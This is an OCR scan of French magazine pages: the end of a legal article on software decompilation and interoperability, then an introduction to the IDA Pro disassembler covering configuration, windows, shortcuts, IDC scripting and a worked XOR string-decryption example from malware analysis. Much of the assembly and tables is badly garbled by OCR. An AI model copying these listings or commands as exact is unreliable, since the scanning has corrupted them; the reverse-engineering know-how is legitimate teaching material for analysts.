i ce droit par contrat mais aurait-il le droit de le faire par l'intermediaire
d'un algorithme, code d'acces...? Le factuel serait donc plus important que
le contractuel ! La réponse ne peut étre que négative. Toutefois, si encore
une fois nous procédons par analogie, le projet de loi de transposition de
la DADVSI présenté |e 12 novembre 2003 en conseil des ministres preconise
la ereation d'un college de mediateurs charge regler de maniere souple et
rapide les eventuels litiges sur la compatibilite des mesures techniques de
protection avec le respect des exception. En ['état actuel des projets, cette
disposition n'est pas transposable en matiere de logiciel... peut-étre devrait-
elle I'étre !

Une affaire récente en la matiére provient du tribunal de grande instance
de Lille, en date du |7 septembre 2002 : la création de deux utilitaires
obtenus par décompllation d'un logiciel permettant de jouer au tarot en
ligne est un acte de contrefagon dans la mesure ou les logiciels de triche

ne fonctionnent que par traduction et la présentation en clair de donnees
qui figurent dans le logiciel protége. La decompilation est jugee plus flagrante
encore puisqu'un fichier executable du programme d'origine est modifie
pendant les parties du jeu.

m ... linteropérabilité
d'un environnement logiciel :

L'interopérabilité est le cas d'école qui coule de source. L'interopérabilite
est sans doute la seule exception aux droits exclusifs de l'auteur du logiciel
dont le coritenu parait non equivoque. L'exception est largement encadree
a tel point qu'elle semble prendre l'allure d'une coquille vide. I n'est possible
d'user de ce droit que sur la partie du code nécessaire a |'interopérabilite.
Comment savoir ce que nous avons le droit de décompiler si I'on ne
décompile pas en globalite 7,

En ce sens, 'ensemble de ce droit de décompilation pour interoperabilite
est clairement fondé sur une logique concurrentielle. |l est precise sans
ambiguité dans la directive que si un fournisseur accupant une position dominante
refuse de mettre g disposition l'information nécessaire pour linteropérabilité il
tombe sous le coup des regles de concurrence (abus de position dominante).

La jurisprudence s'en est mélée. D'apres decision de la cour d'appel de Paris
en date du 12 décembre 1997, il n'y a pas contrefagon du logiciel lorsque
les ressemblances sont purement fonctionnelles et que l'ingénierie inverse pratiquée
par le défendeur est justifiée par la recherche de l'interopérabilité avec un maodele
de disquette.

W Conclusion

User de cette pratique qui consiste a extraire d'un produit logiciel
des connaissances techniques afin de le comprendre, 'ameliorer,
I'adapter ou le corriger n'est pas donne a tout le monde ; quoi de
plus compligué que d'integrer l'agencement d'un code-source
(bibliotheques, variables...). §'il n'est pas possible d'obliger un auteur
de logiciel a fournir 'ensemble de la documentation permettant de
comprendre un code-source, |'utilisateur expert pourra analyser et
décompiler pour motif d'interopeérabilite le code-cbjet dont il dispose.
Par un raisonnement tout a fait pratique comment |'auteur d'un
logiciel pourra-t-il prouver que le code-source a ete copie apres
décompilation a maoins d'aveir lui-méme utilise cette methode ?
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i Devant le juge, I'auteur du logiciel original devra fournir le code-
! source afin que le tribunal puisse, par lintermediaire d'un expert,
| en examiner les ressemblances avec le nouveau code-source ; le
\  secret que ['auteur originaire aura voulu sauvegarder sera bafoue.
i Ne vaut-il pas mieux un mauvais accord qu'un bon proces ?
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Aujourd'hui le logiciel est protége par le seul droit d'auteur... la
protection au titre du brevet sera peut-étre un degre supplémentaire
de protection des logiciels. Quel avenir pour la decompilation !
La question fera sans aucun doute |'objet d'un important debat.
La protection au titre du brevet est régie par le principe de la
publicité : quel intérét de préserver une réglementation autour de
la décompilation si le code est rendu public ? Le brevet protegeant
une invention, quels objets logiciels seront protéges par le brevet :
le code, des bibliotheques. .. ? Autant de questions auxquelles devra
repondre le Parlement europeen.
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Introduction au Reverse Engineering -
IDA Uarme absolue pour U'analyse de code

Au travers de cet article, vous découvrirez en détail le
désassembleur IDA. Je présenterai ici I'outil en
profondeur au travers d’exemples et cas pratiques tels
gue I'analyse du chiffrement d’un ver, en passant par
I'unpacking d’exécutables Windows PE.

Présentation d’IDA Pro - Datarescue

IDA [1] est un desassembleur multi-plateforme interactif réalise
par llfak Guilfanov et Eric Landuyt. Il offre de nombreuses
caractéristiques intéressantes, qui en font le désassembleur le plus
repute et utilisé a I'heure actuelle. IDA est un outil non négligeable
pour les professionnels de la securité, les agences gouvernementales,
les développeurs et les societés anti-virus.

Les principaux points forts de cet outil sont :
= support d'une impressionnante série de processeurs (Intel,
AMDé64, Motorola, Hitachi, Game Boy, HR, MIPS, SPARC,
Alpha,Playstation, ARM, Siemens, Toshiba, NEC, Java VM...) ;

* |a possibilité de récupérer un code source en assembleur
assemblable, a partir de I'exécutable binaire ;

= FLIRT, “Fast Library ldentification and Recognition Technology” -
Reconnaissance des appels systemes et des appels de librairies,
ainsi que |'identification des paramétres de fonctions avec I'ajout
des commentaires appropries ;

= manipulation de structures complexes ;

= IDA identifie automatiquement les variables locales des
procedures, les arguments, etc. ;

= DA contient son propre langage de script, similaire au langage
C. Il est utilisé pour automatiser des taches, comme nous le
verrons plus tard, par exemple pour rechercher des problemes
de securite dans un binaire ;

= il contient aussi une architecture permettant I'ajout de plugins,
et une "SDK" compléte est fournie ;

® une analyse automatigue en continu, se deroulant parallelement
a l'utilisation du programme : il est possible de travailler sur le
desassemblage pendant qu'IDA continue d'analyser le fichier ;

® le support de la plupart des formats exécutables et binaires.
(PE.ELF..) ;

® l'interface graphique (GUI) est simple et complete a la fois ;
* des possibilités étendues de navigation dans le code : définition
des variables, labels et structures, ajout de commentaires
automatique ;

= débogueur complet intégré pour faciliter I'analyse.

Il est important de rappeler qu'lDA est utilisé par le FBI, la NASA,
la CIA, Intel, AMD, IBM ainsi que de nombreuses entreprises de
securité informatique telles que EEye, Symantec, Security Focus,
etc.

Ses Fichiers

Il est a mon sens important de savoir comment est structure le
repertoire d'IDA, et de savoir a quoi correspondent les fichiers
presents dans les divers repertoires.

Vous trouverez plusieurs fichiers executables dans le répertoire
d'lDA Voici dans le Tableau |, page ci-contre, leur descriptif.

Futur d’IDA

# Les prochaines versions d'|DA seront sensiblement differentes:
= tous les loaders seront places dans un répertoire “LOADERS” ;

= tous les modules processeurs seront placés dans un repertoire
“PROCS" ;

= tous les fichiers de configuration seront placés dans un
répertoire "CFG" ;

= les versions OS/2 et DOS4GW d'IDA n'existeront plus. Le
support MS DOS sera toujours present dans IDAU (universel) ;

= une version Linux devrait apparaitre.

# Voici les extensions Linux en avant-premiere :

ILX64 Module processeur pour IDA64 sous Llnux
LLX64 Module !oader pour IDA64 sous Llnux

LLX o
PLXé64

Module plugm pour IDA64 sous Llnux
PLX Madule pliigin poir IDA32 sous Linux

# Et les executables sous Linux :

IDAL Interface texte (IDA32) pour Linux
IDAL64  Interface texte (IDA64) pour Linux

La Configuration d’IDA

IDA peut étre utilisé sans configuration préalable, mais certaines
modifications apportent un confort non négligeable pour |'analyse
de code.

# Fichier IDA.CFG
Dans le premier réglage 'indique le réglage par défaut et la chaine
a ajouter dans le fichier de configuration. Pour |a suite, je me
contenterai de donner la chaine a utiliser directement.

# Gestion des chaines de caractéres:
Par défaut, IDA place le caractére “a" devant chaque chaine de
caractéres identifiee. Pour rendre le desassemblage et la
recherche de strings plus efficace, je conseille I'utilisation de la

chaine “str->" pour string.
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ASCII_PREFIX =“a”

A remplacer par:

ASCII_PREFIX =“str->"

Maintenant, toutes les chaines trouvées contiendront cette
marque, ce qui nous permettra de retrouver plus rapidement
les chaines dans la fenétre “Names”.

NameChars = “$1@->"

Cette modification permet l'utilisation des caractéres"->" pour
les chaines de caractéres.

Attention: Si vous comptez re-assembler des bouts de code
désassemblés, il faut tenir compte des caractéres supportes par
I'assembleur, et donc modifier 'ASCII_PREFIX en fonction.
(Utilisation de str_ par exemple)

MAX_NAMES LENGTH = 30

Taille maximale d'une nouvelle chaine de caractéres. Pour éviter
les messages de confirmation quand la chaine de caractéres
dépasse la valeur par défaut. La taille maximale est de 511
caracteres.

# Options de désassemblage :

SHOW BASIC BLOCKS =YES

Cette option permet de segmenter l'affichage du code en
plusieurs blocs. Il en résulte une compréhension plus aisée.
SHOW _SP =YES

Permet d'afficher le pointeur de pile et de voir |'état de celle-
ci tout au long du programme.

SHOW_XREFS = 90

Par défaut, IDA ne montre que deux X-refs. (CTRL+X pour
voir les autres). La valeur 90 suffira dans la majorité des cas.

# Fichier IDAGUI.CFG :

DISPLAY PATCH_SUBMENU =YES

A l'aide de ce nouveau menu, il est possible de “patcher” le code
(la database) d'une application desassemblée.
DISPLAY_COMMAND_LINE =YES

Avec cette option d'activée, il est possible d'évaluer des
expressions |[DC trés simplement.

Interface Graphique

Dans cet article, je ne décrirai que la version Graphique d'IDA. La
version texte reste cependant trés similaire, mais n'offre pas autant
d'informations. IDA etant un produit complexe, une petite
présentation des diverses fenétres s'impose.

Tableau | Les executables

IDA avec support 32 bit

IDAG.EXE
IDAW.EXE
IDAU.EXE

IDAX.EXE
IDA2.EXE

Interface texte pour MS Windows

Interface texte pour MS Windows et MS DOS
{universel)

Interface texte pour MS DOS

IDA avec support 64 bit

IDAG64.EXE Interface GUI pour MS Windows
IDAWG64.EXE Interface texte pour MSWindows
IDAUG4.EXE [nterface texte pour MSWindows et MS DOS

(universel)

Types de fichiers

Wé4d
‘Wi2
D32

DLL

L64
LDW
LDX
LDO

P64
PLW
PLD
PL2

CFG
iDC

Module processeur pour IDA64 sous MS Windows
Moedule processeur pour IDA32 sous MS Windows

Module processeur pour IDA32 sous O5/2
Module loader pour IDAé4 sous MS Windows
Module loader pour IDA32 sous MS Windows
Module loader pour IDA32 sous MS DOS
Module loader pour IDA32 sous OS/2
Module plugin pour IDA&4 sous MS Windows
Module plugin pour IDA32 sous MS Windows

Module plugin pour IDA32 sous OS/2

Fichier Script IDC

Fichiers importants

IDA.KEY
IDA.CFG

Il s'agit dy fichier de licence d'IDA
Fichier de configuration generale d'IDA

IDAGUI.CFG Fichier de configuration de l'interface graphique d'IDA

iDA.WLL Kernel IDA pour M5 Windows
IDA.DLL Cernel IDA pour OS2
IDA.SO Kernel IDA pour Linux (A venir}
1y a pas de kernel IDA pour DOS,
Répertoires

DS Ficher de signature pour DLL
1SIG Fichier de signature FLIRT
fi[»Tel Script IDC

{PLUGINS Plugins

ITIL “Type Libraries”
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= [DA View
Vous trouverez ici le code désassemblé de I'application que vous étes en train
d'analyser. C'est ici que s'effectue la majorité des opérations telles que I'ajout
de commentaires, la modification du code a l'aide des structures, et toutes les
autres interactions possibles avec le désassemblage (voir figure |).
Note : Il est possible d'afficher plusieurs fenétres de désassemblage via les
menus View, Open Subviews et Disassembly.

= HexView
Vous trouverez dans Hex View une representation hexadécimale des données
actuellement analysées dans la fenétre IDA View. Cette fenétre nous donne un
apercu hexadécimal de I'adresse en cours. Les octets des instructions & I'adresse
sélectionnée dans IDA View sont mis en évidence dans la fenétre Hex View. Sur
la capture d'ecran, EBB6 correspond au Jmp short IsConnected de la fenétre IDA
View (voir figure 2).

= Exports
Cette fenétre contient les fonctions exportées. Utile pour I'analyse de DLLs
(voir figure 3).

* Imports

Vous trouverez ici les fonctions importées par I'application. Trés utile pour localiser
rapidement certaines fonctions lorsque I'on connait les fonctions susceptibles
d'étre utilisées par l'application désassemblée (voir figure 4).

Par exemple : Les fonctions d'acces au Registre Windows pour localiser dans un
ver le code qui installe le ver dans les paramétres de démarrage de Windows.

= Names

Cette fenétre contient diverses informations telles que les chaines de caractéres
du programme, des fonctions de librairies identifiées par IDA, des fonctions
Windows importées, etc. (voir figure 5).

= Functions

Vous trouverez dans cette fenétre le nom de toutes les fonctions et sous-fonctions
du programme, ainsi que leur adresse et leur taille et méme le segment auguel
elles appartiennent. Un double-clic sur une adresse permet de s'y rendre {voir
figure 6).

= Strings
Cette fenétre contient toutes les chaines de caracteres du programme. Il est
possible de choisir le type de chaines a afficher : Delphi, Unicode, C-Style, etc.
{voir figure 7).

= Structures

Cette fenétre permet de définir des structures pour les appliquer ensuite sur le
code désassemblé. IDA contient une série impressionnante de Structures Standard
(celles de I'API Windows par exemple) qui permettent une compréhension plus
rapide du code (voir figure 8).

B 10a View-a

-text: BMAZDAS sub_ 402098 Endp
LLExt: B04DZD65
~text:ORNORDGG
LEext: DOL2DAG
-Lext:BONBZD6G IsConnected: ; CODE XREF: .t
" _text:O8u02Do6 push [
T L bextz0RsBZDAR push B
* L Lext:D0uOZD6A call InternetGetbonnecteditate
~text:opub2DeA
* Ltext:0DMB2DE6F ar eax, eax
® text:OBLD2DT1 jz short not_conmected
Ltext:-Qo4e2n71
® Ltext: 00482073 retn

Stexbo0pLB2DTI
-text:BBuBZD7Y H
-textBRLD2D7 Y
SEent D OBUB2DT Y

not_connecred: : EDDE XREF: _text:o0un?

Fr _text:BONB20TYH push 2000

* Ltext-ABLhO2079 call Sleep
~text:0ehD2nTy

* L text:00hB2DTE imp short Istonnected

SEext :AAOZDTE
-text:0paozZoR0 :

* .text:@0402DE0 retn %
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Figure nl

# Exports :IQJ.;LEIL‘I
Edit gearch

Name | Addess | Ordinal |
B stait 0O405FER

Line 1 0f 1 R

[ rames wndow N RNETTRETEY
Edit Search

[ Name | Addess | P.| =]
F StatAddiess 00401AF8 -
" IsConnected 00402068

not_connected 00402074

A str> ThetwhiteR abbitPresents 00405720

F stat 00405FEE P

F CioseHandle 0040807C

F CompareFilsTime 00408082

F CopyFiled 00406068 =
lLine 4 of 771 /4




0040004 R
b 401035 el C0401035 00000023 R
1 sub 401058 ] C04m0E8 0000002C R B
' by 401084 e 040104 OOOOOOTE A ]
117 dub_401 040 el 00401040 00a0007e R B
ifkab 4110 e 4Ne oooe. 6 ~ _._=l
Lne 62 of 237 &
gl -lo) x|
| Addiess S|
* pecl: 00419180 Suﬂmfe\ S incows A Cu ion\Aun
7 pecl ODISIEE mﬁl'l E Flenda 200 2p
“ pecl:D041HIFC 0000000F C Apnl_2002 ser -
© pecl: 00419208 (o0ooace c Mssctn.ene
" pec] 00415216 00000017 C RegisterServicaProcess
pect: 00419220 00000000 C kemel32.dil
© pec1: 00419234 00000007 C ‘Wirdic
" pec 00419241 0300000 C Wjaney. ing
 pee.0041324C 00000007 c DSt
“ ¢ pec! 00419253 0000000 C the@one.com
' pecT:D041925F (o0o0o0s G E8E7
pecl: 00419264 00000007 5 MICK -
pecl 0019268 00000007 E JOIN # _ILI
1] | 3
Unec7of314 i 7

ut Lure £|
¢ menber (datasascilfarcay)

\Il‘UIJI!uIiI > 2 B # ur structure nenber
onpBoden ; U delete structure nenber |
Iullllllluil 3

FILETINE strue 5 (sizeof-0K8, standard type)

{PUUULU\.J duLowDateTine dd 7

fopnRtes dudighDateTime dd 7

£qeapoes _FILETIME ends

LD LI

GHGARANG ; [0DODE19D BYTES. COLLAPSED STRUCT WSAGala. PRESS KEYPAD "+ TO EXPAHD]
bRopaonn ;

(T

AEBRRNN0 Seckaddr stroc ; (sizeof-UR10, standard type)

UnenuRsd sa_fFanily dw 7

BREDEERY sa data db 1h dupl?)

HENBNETE sockaddr ends 2
4 | Ej
| L. FILETIME:0000 £

Les Raccourcis Claviers

Woici dans le Tableau 2 une liste non exhaustive de raccourcis utiles
pour l'utilisation d'IDA.

Commandes et Exemples

Commentaires

L'ajout de commentaires est trés important pour une bonne
compréhension du code, surtout si celui ci est long et complexe.
Pour ajouter un commentaire, utilisez la touche :

Il suffit de placer le curseur sur la ligne a commenter et de presser
la touche. Il ne vous alors reste plus qu'a taper votre commentaire.

# Exemple : commenter la premiére ligne

On positionne notre curseur sur la ligne voulue (ici 481815), une
pression sur la touche de commentaire, et nous pouvons taper :
ecx = ecx + 1:

Aa4p1a1s fne BLY
BaLAIR1E omy agy, ¢
BRLpIR1S jnz short Toc_4R1667

Tableau 2 Raccourcis clavier

CTRL+F9

F2

Shift + F2

CTRL +W
ALT + X
Alt+Fl10

G

CTRL+L

CTRL+S

ALT+M
CTRL+M

Ctrl+ X

X
Ctrl+ P

Ctrl +E

Echap

Ctrl + Enter
Alt+ 1

L
Ins

Alt+S

Espace

Shift + F3
Shift + F4
Shift + F5
Shift + F7
Shift + F8

Shift + F9
1

Numpad-
Numpad+

pour charger un fichier header C fh}

Note : Parfois, Il nécessaire de sélectionner un
compllateur dans les options car IDA n'a pas pu
déterminer le compilateur employe.

pour exécuter des scripts IDC ou poser un point
d’arret (a partlr de la 4- 5}

prowmerﬂm mini-scripts. sans passar par de:
fichiers.

pour sauvegarder une session.

pour exporter le desassemblage ou une sélection
en .asm (fichier source assembleur.)

pour se rendre a une adresse spécifique dans le
programme désassemble.

paur afficher la liste des strings et leurs adresses.
Un double-clic est nécessaire pour se rendre a
I'adresse du string choisi.

pour afficher [a liste des segments.Utile pour se
déplacer dans le programme. Un double-clic est
nécessaire pour changer de segment.

pour insérer une marque a ['adresse du curseur.
muraﬁéﬁwhlhﬁadunwes@ermamés

code et de s‘yrmdreaﬁsrapldamam. o

pour afficher les references vers |'adresse actuelle
(en cas de jmp vers cette adresse, etc.)

w 1) X iri s .nﬁ-'r. . E ¥

pour afficher la liste des fonctions du programme

et les adresses correspondantes, Un double clic est
necessaire pour se rendre a l'adresse de [a

fonction choisie.
-pmmme.mhnalemypamtréddu

pauf retourner a ['adresse précédente (aprés un

call, un saut ou tout autre changement d'adresse

sous 1DA),

pour chercher une valeur immédiate dans le

code. (exemple :DxFF trouvera : mov ax, FFh, etc.).

pour I'a

pour insérer des Ilgnes vides dans le desassemb!age.
ple : 12h

pour changer de segment.

pour afficher les registres de

pour afficher la fenetre des fonctlcns{

pour afficher Ia fenécre "Names'". _

pour afficher la fenétre des signatures FLIRT
pour afficher la segmentation du programme.
pour afficher la fenétre des registres de segments.
pour lancer |a fenétre d'evaluation des expressions,
permet de convertir, calculer, utiliser des
expressions |DCs, etc

pour cacher une partie du code (une fonction)
pour faire apparaitre une partie de code cachee
auparavant.

&)
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Résultat :
pe4p1815 ing 80X ALK = e0K + 1
geaa1816 tnp gcx, 9
pa4glals inz short Toc 481087

Renommer des labels

IDA offre la possibilité de renocmmer les labels, qu'il a
automatiqguement nommeés en utilisant le plus souvent I'adresse
dans le nom.

Un nom plus logique qu'une adresse mémoire est beaucoup plus
clair pour la compréhension global du code.

Pour renommer sous IDA, on utilise N.

# Exemple : Ici une simple boucle.
xgr  eak, eax
may gcx, BFFFFFR

loc 401087 ; CODE XREF: start+7)
loop  loc 481887
Placez le curseur sur la ligne Toc_401867 , puis pressez N. Il suffit
juste de rentrer le nouveau nom du label tel que Boucle dattente
par exemple. On obtient ceci sous IDA :

xor £33, BEK
nay eck, AFFFFFh

boucle_dattente:
loop  boucle dattante
Il est aussi possible d'ajouter un commentaire avec :

Xar 22X, Bdl
mov ecx, BFFFEFR

boucle dattente:
foop  boucle_dattente  ; on boucle ECY fois

Changer la hase des nombres

Dans ['exemple ci-dessus, le nombre FFFFFh est utilisé comme indice
de boucle (voir son manuel d'assembleur et I'instruction LOOP pour
plus d'informations). Le code serait plus simple a comprendre si
nous avions le nombre d'itérations en decimal. Pour passer
d'hexadécimal au décimal, il faut placer le curseur sur le nombre a
convertir puis presser H. On obtient :

xar gax, gax

Mo ecy, 1048575
La base 10 est plus naturelle et la compréhension du code en est
simplifiée. Pour passer en Base 2 : binaire , il suffit d’appuyer sur : B.

ga4pigee xor AR, BiX
Ja481082 moy gcx, 11111

11111k

Pour revenir a la base précédente, il suffit de re-presser la méme
touche (H ou B).

Renommer un Registre

Il est parfois utile de renommer un registre, toujours dans un souci
de faciliter I'analyse. Placer le curseur sur le registre a renommer,
puis presser V..

# Exemple :
BO4BIRIF loc_4101F:

Ba4pin1F Moy al, byte ptr unk_203834Tecx]

i &l prend un octet en 483004 et se sert de ECY comme index,
00401025 nr il, 46h
andacpeT mov byte ptr unk 483884[ecx], &l

09481020 ine BCx
f040182E onp ex, 27k
¢ ECX sert aussi de compteur,

£a4a1031 inz short Toc 48181F

On peut renommer ECX pour obtenir ceci :
BBLB10ZE compteur = ety

Bdglaze

JRLR1gzE ey compteur, 27h

aa4pieal inz shart loc 48181F

Il se peut que IDA vous demande de définir une fonction avant de
renommer un registre. Les registres étant utilisés tout au long du
programme, il est nécessaire de segmenter le code pour définir
I'utilisation d'un méme registre, tout au long du programme.

Fonction

Pour créer une fonction, nous devons en premier lieu définir son
adresse de commencement. Pour cela, placer votre curseur sur
I'adresse choisie.

Dans I'exemple précedent, le début de la fonction est en B840101F,
On commence par renommer le label pour rendre la routine plus
claire :

fa4a1p1s moy 31, byte ptr unk 483884 ecx]
R A0r al, 46k

fa4aiazr mov byte ptr unk 403084 [ecx], &
BE401820 ine 2%

fgaaLaze e ecx, 27h

gg4a1831 jnz short decrypt

Cette partie de code est appelée par un saut. On pourrait donc la
définir comme une fonction (ou sous-routine). Placer votre curseur
au début de la future fonction. lci : Decrypt.

Pressez P pour créer la fonction. A partir de [a, il est possible de
renommer le registre comme explique précedemment :

Vous obtiendrez pour résultat final :

Ag4pIRLF | |

ap4p1a1F

00431817

0848101F decrypt proc near + CODE ¥REF: decrypt+l2i
doaaLeIF mav al, byte ptr unk_493884{ecx]
00481925 xar al, 46h

faaa1per moy byte ptr unk 483004[ecx], &l
§4@1870 fnc BLx

BEABIAZE compteur = BCH

pe4a1aze

BaLeIazE op compteur, 7h

HEEBTEN nz short Toc_40181F

#R4B1031 decrypt endp

Définir des Tableaux

Toutes les personnes familiéres avec la programmation assembleur
a déja defini des tableaux. IDA permet de créer des tableaux trés
simplement, grice a la touche *,
|. pour définir le premier élément du tableau, placez votre
curseur sur le debut des données ;
2. presser ensuite |a touche * ;
3.IDA deétermine normalement la taille du tableau
automatiquement. |l reste toutefois possible de la definir
manuellement.

Le tableau est defini.




Définir des strings (chaines de caractéres)

IDA déetermine en général la majorité des chaines de caractéres
presentes dans une application. Dans certains cas, tels que les virus,
les chaines sont placées au milieu d'instructions. |l est possible de
definir les donnees comme des chaines de caracteres pour les
afficher correctement. (Utilisez la touche U pour passer les données
en indéfinies.)

Imaginons le cas suivant :
FEAE3003 unk 483000 dh 54y T

pedeieal gb B%h ;i
faspies? b 74h ; t
fa4pa83 ey
43084 do B5h ;e
0483885 v B

Il s'agit du string Titre.On apergoit d'ailleurs le zéro de fin de chaine.
Pour I'afficher sous la forme d'un string classique, utilisez la
touche A.

Comme toujours, le curseur doit étre placé sur la premiere ligne
(4030888) avant d'effectuer la conversion :

0403808 eTitre db 'Titre' @

lci se termine la presentation des commandes de base d'|DA,
Comme vous avez pu le constater, IDA porte bien son nom de
désassembleur interactif. Il est possible de travailler a sa guise sur
le desassemblage.

Mais l'interactivité ne s'arréte pas 3, lisez donc la suite

Le langage IDC

L'une des particularités d'IDA, est son propre langage de scripts.
Fortement inspiré du C, tout au moins dans la syntaxe, la prise en
main se fait trés rapidement. || existe toutefois de nombreuses
différences entre ces deux langages. On notera l'impossibilité de

definir le type d'une variable, IDA se charge du typage.

Une variable peut contenir soit un long (signé), soit un fleat, soit un
string d'une taille maximale de 1023 caracteres.

De nombreuses fonctions intégrées au langage IDC (souvent basées
sur des fonctions de la Lib C) permettent une forte interactivité.
Comme dans tout langage, il est possible de définir ses propres
fonctions :

static mafonctioniargl arg?,argd) |

Les personnes ayant 'habitude de programmer en C reconnaitront
ce genre de construction, ma fonction étant le nom de la fonction
qui prend pour parametres argl, arg2,argl

Pour déclarer une variable, le mot clé auto est utilisé :
Ex:auto mavariable ;

Cette declaration introduit une variable nommeée mavariable.

Le langage IDC accepte les déclarations suivantes :

if ("une expression”) “traitement”

if (“une expression”) “traitement” else “traitement”

for ( exprl; exprd; exprd | “traitement”
while (“ume expression™) “traitement”

do “traitement” while (“une exprassion™):

Les conversions automatigues
Addition

Si les deux opérandes sont des chaines de caractéres, une
concaténation des chaines est effectuee.

Comparaisons (==, !=, etc.)

Si les deux opérandes sont des chaines de caractéres, une
comparaison de chaines est effectuée. Pour les autres opérations,
les opérandes sont convertis en long.

Malgré les conversions automatiques, il reste tout de méme possible
de convertir comme ceci :
® long(**90™) -> 90 Nous obtenons un long a partir de la chaine
Y80
® long(“0x90"") -> 0x90 Nous obtenons un long (hexa) a partir
de la chaine “0x90" ;
® char(33) ->'!" Nous cbtenons un char a partir du nombre 33.

Le langage IDC offre aussi des fonctions de conversion, consultez
le fichier idc.idc pour plus d'informations.

Les fonctions intégrées

Il existe dans IDA un fichier *idc.idc” qui contient les déclarations
des fonctions internes au langage IDC.Voici un extrait du début de
fichier :

3

3 This file ¢ I in function declarations
> and internal bit definitions.

2 Each byte of the program has 32-bit flags

* (Tow 8 bits keep the byte value),

2 These 32 bits gre used in GetFlags/SetFlag

* You may freely examine these bits using Ge

* but 1 strongly discourage using SetFlags() fun

x

4 This file 15 subject to change without any notice.

# Future vers f IDA may use other definitior

Ce fichier contient les declarations des fonctions IDC d'IDA.

Présenter toutes ses fonctions nécessiterait un magazine entier. Je
vous conseille de vous référer a ce fichier en cas de besoin. Le fichier
d'aide d'IDA contient aussi un descriptif des fonctions IDC.

Pensez a inclure ce fichier au début de vos scripts comme vous le
feriez en C :

#inciude <ide,ide>

En début du chapitre sur le langage IDC j'expliquais comment
déclarer une fonction :
static lafonctiontaral,arg? ared) {

Nous allons prendre pour exemple I'analyse d'un virus. Imaginons
que celui-ci ait une partie encodée par une simple décrémentation
de chague octet du code. Cette simple modification du code
empéche le désassemblage avec un outil classique d'analyse statique.
Il s’agit bien sr d'un exemple ; en genéral, le code est mieux protege.
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Pour exécuter le code, le virus devra incrémenter les octets encodés avant
de les exécuter. IDA se démarque des autres outils par sa forte interacrivite,
mais il est aussi possible d’automatiser des tiches, et de modifier la base d'une
application désassemblée directement sous |DA.

Pour pouvoir continuer I'analyse de code, il faudrait donc decoder les
instructions a I'aide d'un petit script :

#include <idc,fde>

static decrypt{address,size)
paramétres

/1 déctaration de 1a fomction decrypt avec deux

auto counter,d; /1 Déctaration de deux variables
for(counter=B:counter<size;counter+) // petite boucle sur tout Tes octets & décrypter,

{

J = Byteladdress); // Récupération de 1'octet @ 1'adresse donnée,

dt /f Incrémentation de 1'octet.

FatchByteladdress,J); On patch Te code avec 1'octet décrypté.

address+; /[ on incrémente 1'adresse powr passer a 1 suivante,

}

}
Voila pour la fonction qui va permettre de décoder le bout de code du virus.

On passe en paramétre |'adresse du debut des donnees a décrypter (address),
ainsi que le nombre d'octets (size).

Pour charger le fichier IDC, il suffit de presser F2 {ou de passer par le menu
File selon la version d'|DA) et de sélectionner notre fichier script. Notre script
prend des parameétres. Par conséquent, il nous faut utiliser SHIFT+F2 pour les
lui passer :

decrypt(Bx401888, 04208 ),

@x461660 étant I'adresse du début des donnees a traiter et 8x288 le nombre
d'octets a traiter.

Attention : il faut bien penser a taper les nombres en base 16 quand on
travaille sur des adresses mémoires. On utilise "0x” pour préciser la base
hexadécimale.

Ceci étant un exemple théorique, passons a la pratique.

CODE : 8BNE1 088 o0 Ror BCX, BCX ; ECX (1]

CODE : 08481062 boo Aow edx, I ; EDY = 3

CODE: @841 BE7 0oD now ds :dword w2017, edx

CODE : 90ME1 D80 000 ROW edx, offset str->Us : U

CODE : BELOTENZ DOR call sub_481 846

CODE : ddsE1812 L R,
CODE: BBLEH D17 000 now edx, 12h ~| Syatas Bighlighting
CODE : BBuE1 16 don nov ds :dword_S02017, edx

CODE : DBS81822 pud moy edx, offset message

CODE: 0481827 000 call subi_Lii 84

CODE : DBuS1 027

public start Ane Lok
s proc near
!HE:!IIIIIII aon xor BCX, BCX : ECK - 0
CODE : BB4E1 082 D00 nou edx, 3 : EDK. = 3 Addiess
CODE : BB4B1BE7 100 noy fAszuned BEZHTT pnx naTan

(CODE - 08481080 000 mou b L EETTRERAE NI S FROET L HE St siatartvhane
CODE - DBLOYA12 OO0 call

oy Sub_LBTRES proc near ; GODE KREF: skar|
CODE: BERBTBIC G0B Aoy . sub KO1BRG+F )|

Rou
caiitompteurboucle = ecx

nou al, [edx+ecx]
zor al, 12h
oy [edx+eex], al
inc ecx
chp conpteurboucle, ds:duord HB82047
jnz short sub_kB18hs
wor compteurboucle. compteurboucle
\p«mn:; and setningshadminisc retn
2 n-«uw 00401017
sub_Lofous endp

Pratique
Cas pratique #1

Le premier cas est un executable simple avec des
chaines de caractéres cryptées.Voici le désassemblage
de I'application avant modification et analyse du code.
Nous allons maintenant mettre en pratique les
commandes présentées dans la premiere partie de
l'article.

CODE: E@4a1das public start

[ODE:Bd481009 start proc near

CODE-Po4G1089 Bog xor BCX, BCH

CODE:Gpag1002 Aae may edx, 1

CODE:Be4@1087 AEp may ds:dword 482817, eds
CODE:Ba4gLanD pag may edx, offset Caption
CODE:BE4@1012 fan call  sub 461046
(00E:@g4g1a12

CODE:BR4E1E1T dad Mmey edx, 12h

CODE:BRaG181C Bod MoV ds:dword dB2E17, edx
(ODE:@@4@1027 App noy pdx, offset Text
CODE:@@461027 BEE call sub_4810846

(ODE: B@ap1827

[DBE: Q0481020 f0a push B 3 UType
(ODE:Pp4B1BZE Bo4 push ifset Caption
Tplaption

CODE.ARLE1E33 AdA push  offset Text ; IpTest
CODE; BR&R1E3E daC push @ + hind
CODE:DR4B1E3A BIB call MassageBond
CODE:BRAB183A

CODE:Bo4G1A3F BEg push B

uExitlode

CODE:BRadlR4] pRé call ExitProcess
CODE:BA481941

(0DE: Ped81841 start endp

CDDE: B@4B1841

Commengons tout d'abord par commenter le code.
Dans ce premier exemple, je détaillerai pas a pas les
commandes & utiliser pour effectuer I'analyse.

Placez votre curseur sur la premiere ligne :
CODE:0@401980 0aa Xor B8CR, BCX

Xor Registre, Registre met le registre a zéro. A ['aide
de la touche :, il suffit de placer le commentaire
approprie :ECX = @.

Au final, vous devriez obtenir ceci :
(COOE-BA401600 ad xar pCK, BCK B =

Continuons avec l'instruction suivante. De la méme
maniére, on se place au déburt de la ligne et on presse
la touche de commentaire ;"

CODE:GE4B1802 A0d mov  ed, 3

On obtient par conséquent :

CUDE: BE401082 C00 oy gdx, 3 oy =

Plus loin dans le code, on apergoit une fonction
“sub_ 4010467 Juste avant, une valeur est affectee au
registre DX, un pointeur (IDA utilise le mot of fset) vers
l'adresse 462008.

CODE:AD&A1800 Q03 may edx, offset byte 482008
